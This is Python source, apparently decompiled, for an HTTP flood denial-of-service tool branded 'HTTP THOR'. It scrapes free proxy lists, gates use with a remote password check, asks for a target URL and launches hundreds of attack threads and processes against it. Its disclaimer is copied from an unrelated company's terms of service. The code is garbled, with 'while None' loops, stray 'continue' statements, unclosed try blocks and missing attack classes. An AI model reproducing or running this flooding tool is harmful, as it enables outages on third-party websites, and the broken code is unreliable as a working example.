linux_shell_color = [ '\x1b[31m', '\x1b[32m', '\x1b[33m', '\x1b[34m', '\x1b[35m', '\x1b[36m', '\x1b[37m', '\x1b[95m', '\x1b[94m', '\x1b[92m', '\x1b[93m', '\x1b[91m', '\x1b[0m'] print(linux_shell_color[random.randrange(0, len(linux_shell_color), 1)]) disclaimer = ' \n' \ ' _ _ ___ _ _____ ' \ ' __| | __| |/ _ \\ ___ __| |___ /_ __\n' \ ' / _` |/ _` | | | / __|/ _` | |_ \\ \\ / /\n' \ ' | (_| | (_| | |_| \\__ \\ (_| |___) \\ V / \n' \ ' \\__,_|\\__,_|\\___/|___/\\__,_|____/ \\_/ \n' \ ' ### Using this program you are responsible of your action.\n' \ ' ### Be carefull and read TOS.\n' \ ' ### Author and copyright are reserverd by THOR.\n' \ '\n' \ ' BY ACCESSING AND USING THE SERVICES IN ANY MANNER, YOU ARE "ACCEPTING" \n' \ ' AND AGREEING TO BE BOUND BY THESE TERMS OF SERVICE TO THE EXCLUSION OF ALL OTHER TERMS. \n' \ ' IF YOU DO NOT UNCONDITIONALLY ACCEPT THESE TERMS IN THEIR ENTIRETY, \n' \ ' YOU SHALL NOT (AND SHALL HAVE NO RIGHT TO) ACCESS OR USE THE SERVICES. \n' \ ' IF THE TERMS OF THIS AGREEMENT ARE CONSIDERED AN OFFER, ACCEPTANCE IS EXPRESSLY LIMITED TO SUCH TERMS. \n' \ ' THESE TERMS SHOULD BE READ IN CONJUNCTION WITH HOOTSUITE\xc3\xa2\xe2\x82\xac\xe2\x84\xa2S PRIVACY POLICY AND COPYRIGHT POLICY.\n' \ '\n' \ ' Wherever used in these Terms of Service, \xc3\xa2\xe2\x82\xac\xc5\x93you\xc3\xa2\xe2\x82\xac\xc2\x9d, \xc3\xa2\xe2\x82\xac\xc5\x93your\xc3\xa2\xe2\x82\xac\xc2\x9d, \xc3\xa2\xe2\x82\xac\xc5\x93Customer\xc3\xa2\xe2\x82\xac\xc2\x9d, or similar terms means ' \ ' the person or legal entity accessing or using the Services. If you are accessing and \n' \ ' using the Services on behalf of a company (such as your employer) or other legal entity, \n' \ ' you represent and warrant that you have the authority to bind that company\n' \ ' or other legal entity to these Terms of Service.\n' \ '\n' \ '\n' \ ' ..................::HTTP THOR::..................' \ ' ' print(disclaimer) def check_url(self, url): if url[0] + url[1] + url[2] + url[3] == 'www.': url = 'http://' + url elif url[0] + url[1] + url[2] + url[3] == 'http': pass else: url = 'http://' + url return url def retrieve_proxy(self): sourcecode = urllib.request.urlopen('http://free-proxy-list.net/') half = str(sourcecode.read()) half = half.split('<tbody>') half = half[1].split('</tbody>') half = half[0].split('<tr><td>') proxy_list = '' for proxy in half: proxy = proxy.split('</td><td>') try: proxy_list = proxy_list + proxy[0] + ':' + proxy[1] + '\n' continue continue out_file = open('proxy.txt', 'w') out_file.write(proxy_list) out_file.close() def setup(self): public_key = 'jjvbag%' secret_key = '&kk17cnH%' try: with open('password.txt', 'r') as f: password_file = f.readline() password_file = password_file.replace('\n', '') except: print('# Could not find password.txt.') sys.exit(0) try: sourcecode = urllib.request.urlopen('https://350adf0c87a0387a8100df99cb6...zhwUjBOa1VLUFdtRDhSR01qenZ1M1hZMWs/pwTHOR.txt') except: print('# Impossible to connect to the server, please try again.') sys.exit(0) hash1 = str(sourcecode.read().decode('utf-8')) hash2 = hashlib.sha1(password_file.encode('utf-8') + secret_key.encode('utf-8')).hexdigest() + '8a,' + public_key if hash1 != hash2: print("##FATAL ERROR##\n\nYou maybe need to update this program or your password isn't correct.\n\nPm nick: Nhi paltalk.com.") sys.exit(0) print('# Password correct.') target_url = input('# Enter URL to send requests: ') target_url = self.check_url(target_url) while None: try: s = str(input("# Enter 'y' to download a fresh proxy list or or leave empty to skip: ")) if s == 'y': self.retrieve_proxy() print('# Proxy list successfully downloaded.') break continue print('# Failed to download the proxy list.') continue continue while None: ipotetical_list = str(input('# Enter the proxy list or leave empty to skip default [proxy.txt]: ')) if ipotetical_list == '': ipotetical_list = 'proxy.txt' try: in_file = open(ipotetical_list, 'r') proxy_list = [] for i in in_file: proxy_list.append(i.split('/n')[0]) continue print('# Error to read file.') continue continue while None: try: pools_number = int(input('# Enter the number of parallel processes or leave empty to skip default [0]: ')) except: pools_number = 0 break continue while None: try: threads_number = int(input('# Enter the number of thread or leave empty to skip default [800]: ')) except: threads_number = 800 break continue for i in range(threads_number): Boomer(target_url, proxy_list).start() time.sleep(0.003) print('Thread ' + str(i) + ' is going up') if pools_number > 0: for pool_number in range(pools_number): MyProcess(target_url, proxy_list, threads_number).start() if __name__ == '__main__': main = Main() main.setup()
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